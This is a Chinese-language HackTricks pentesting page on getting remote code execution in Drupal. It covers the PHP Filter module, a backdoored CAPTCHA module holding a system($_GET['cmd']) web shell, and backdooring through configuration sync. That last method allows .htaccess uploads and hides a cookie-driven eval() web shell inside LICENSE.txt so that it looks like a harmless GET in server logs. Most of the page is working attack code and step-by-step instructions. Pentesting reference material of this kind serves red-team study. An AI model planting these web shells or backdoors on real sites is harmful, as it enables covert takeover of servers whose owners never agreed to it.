Drupal RCE

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

使用 PHP 过滤器模块

在 Drupal 的旧版本 (8 版本之前) 中,可以作为管理员登录并启用 PHP 过滤器 模块,该模块“允许评估嵌入的 PHP 代码/片段”。但是从 8 版本开始,此模块不再默认安装。

您需要安装插件 php(访问 /modules/php 并检查是否返回 403,如果是,则存在,如果未找到,则插件 php 未安装

转到 Modules ->(检查PHP Filter -> 保存配置

然后点击 Add content -> 选择 Basic PageArticle -> 在 body 中编写 php shellcode -> 在 Text format 中选择 PHP code -> 选择 Preview

最后只需访问新创建的节点:

curl http://drupal-site.local/node/3

安装 PHP 过滤器模块

在当前版本中,仅通过访问 Web 就无法安装插件。

8版本开始,默认情况下不再安装PHP 过滤器模块。要利用此功能,我们需要自行安装该模块

  1. 从 Drupal 网站下载最新版本的模块。

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. 下载后,转到**管理** > 报告 > 可用更新

  4. 点击**浏览,选择从我们下载到的目录中的文件,然后点击安装**。

  5. 安装完模块后,我们可以点击**内容,然后创建一个新的基本页面**,类似于我们在 Drupal 7 示例中所做的操作。再次确保从**文本格式下拉菜单中选择PHP 代码**。

后门模块

在当前版本中,仅通过访问 Web 就无法安装插件。

可以通过向现有模块添加 shell 来创建后门模块。可以在 drupal.org 网站上找到模块。让我们选择一个模块,比如CAPTCHA。向下滚动并复制 tar.gz 存档的链接。

  • 下载存档并提取其内容。

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • 创建一个包含以下内容的 PHP Web Shell

<?php
system($_GET["cmd"]);
?>
  • 接下来,我们需要创建一个 .htaccess 文件,以便让自己访问该文件夹。这是必要的,因为 Drupal 拒绝直接访问 /modules 文件夹。

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 上面的配置将在我们请求/modules文件夹中的文件时应用规则。将这两个文件都复制到captcha文件夹中并创建一个存档。

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • 假设我们拥有管理访问权限到网站,点击侧边栏上的**管理,然后点击扩展。接下来,点击+安装新模块按钮,我们将被带到安装页面,如http://drupal-site.local/admin/modules/install浏览到带后门的验证码存档并点击安装**。

  • 安装成功后,浏览到**/modules/captcha/shell.php**以执行命令。

使用配置同步给Drupal打后门

Coiffeur0x90 分享

第一部分(激活 MediaMedia Library

在_扩展_菜单(/admin/modules)中,您可以激活看起来已安装的插件。默认情况下,插件 MediaMedia Library 似乎未被激活,因此让我们激活它们。

激活前:

激活后:

第二部分(利用特性 配置同步

我们将利用 配置同步 功能来转储(导出)和上传(导入)Drupal配置条目:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

修补 system.file.yml

让我们从修补第一个条目 allow_insecure_uploads 开始:

文件:system.file.yml


...

allow_insecure_uploads: false

...

至:

文件:system.file.yml


...

allow_insecure_uploads: true

...

修补 field.field.media.document.field_media_document.yml

然后,从以下内容中修补第二个条目 file_extensions

文件:field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

转至:

文件:field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

我在这篇博文中没有使用它,但请注意可以以任意方式定义条目 file_directory,并且容易受到路径遍历攻击的影响(因此我们可以在 Drupal 文件系统树中向上移动)。

第三部分(利用功能 添加文档

最后一步是最简单的,分为两个子步骤。第一步是上传一个以 .htaccess 格式的文件,以利用 Apache 指令并允许 PHP 引擎解释 .txt 文件。第二步是上传一个包含我们有效负载的 .txt 文件。

文件:.htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

为什么这个技巧很酷?

因为一旦 Webshell(我们将其称为 LICENSE.txt)被放置到 Web 服务器上,我们可以通过 $_COOKIE 传输我们的命令,在 Web 服务器日志中,这将显示为对文本文件的合法 GET 请求。

为什么命名我们的 Webshell 为 LICENSE.txt?

简单地说,因为如果我们拿以下文件为例 core/LICENSE.txt(已经存在于 Drupal 核心中),我们有一个包含 339 行和 17.6 KB 大小的文件,非常适合在中间添加一小段 PHP 代码(因为文件足够大)。

文件:已打补丁的 LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

第3.1部分(上传文件 .htaccess)

首先,我们利用 Add Document (/media/add/document) 功能来上传包含 Apache 指令的文件(.htaccess)。

第3.2部分(上传文件 LICENSE.txt)

然后,我们再次利用 Add Document (/media/add/document) 功能来上传一个隐藏在许可文件中的 Webshell。

第4部分(与 Webshell 交互)

最后一部分涉及与 Webshell 进行交互。

如下截图所示,如果我们的 Webshell 预期的 cookie 未定义,通过 Web 浏览器查询文件时会得到以下结果。

当攻击者设置了 cookie 后,他可以与 Webshell 进行交互并执行任何想要的命令。

正如您在日志中所看到的,似乎只请求了一个 txt 文件。

感谢您抽出时间阅读本文,希望能帮助您获取一些 shell。

最后更新于